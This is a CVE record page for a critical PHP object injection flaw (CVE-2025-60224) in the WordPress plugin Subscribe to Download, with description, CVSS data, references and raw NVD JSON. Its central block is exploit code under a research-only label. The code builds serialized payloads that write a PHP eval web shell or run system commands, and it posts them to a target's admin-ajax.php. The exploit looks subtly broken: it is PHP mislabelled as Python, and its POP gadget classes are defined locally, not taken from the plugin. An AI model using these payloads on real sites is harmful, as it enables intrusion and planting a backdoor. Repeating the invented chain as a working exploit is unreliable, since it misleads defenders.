CVE-2025-60224

Description

Deserialization of Untrusted Data vulnerability in wpshuffle Subscribe to Download subscribe-to-download allows Object Injection.This issue affects Subscribe to Download: from n/a through <= 2.0.9.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Subscribe to Download <= 2.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-60224 PoC - Subscribe to Download Object Injection
// Target: WordPress with Subscribe to Download plugin <= 2.0.9

// Generate malicious serialized payload
class SubscribeToDownloadExploit {
    // POP chain to trigger arbitrary file write
    public $callback = 'file_put_contents';
    public $args = ['../wp-content/uploads/shell.php', '<?php @eval($_POST["cmd"]); ?>'];
    
    function __wakeup() {
        if (isset($this->callback)) {
            call_user_func_array($this->callback, $this->args);
        }
    }
}

// Alternative POP chain for command execution
class WP_Object_Injection {
    protected $filter = 'system';
    protected $cmd = 'id > /tmp/pwned';
    
    public function __destruct() {
        call_user_func_array($this->filter, [$this->cmd]);
    }
}

// Generate payload
$malicious_obj = new SubscribeToDownloadExploit();
// or $malicious_obj = new WP_Object_Injection();

$payload = serialize($malicious_obj);
echo "Malicious Payload:\n" . $payload . "\n\n";

// Send request to trigger deserialization
$target = 'http://target-wordpress-site.com';
$endpoint = '/wp-admin/admin-ajax.php';
$data = [
    'action' => 'subscribe_to_download',
    'data' => $payload
];

$ch = curl_init($target . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60224
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60224
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60224/
[4] VulDB https://vuldb.com/cve/CVE-2025-60224
[5] https://patchstack.com/database/Wordpress/Plugin/subscribe-to-download/vulnerability/wordpress-subscribe-to-download-plugin-2-0-9-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60224", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:59.497", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in wpshuffle Subscribe to Download subscribe-to-download allows Object Injection.This issue affects Subscribe to Download: from n/a through <= 2.0.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/subscribe-to-download/vulnerability/wordpress-subscribe-to-download-plugin-2-0-9-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}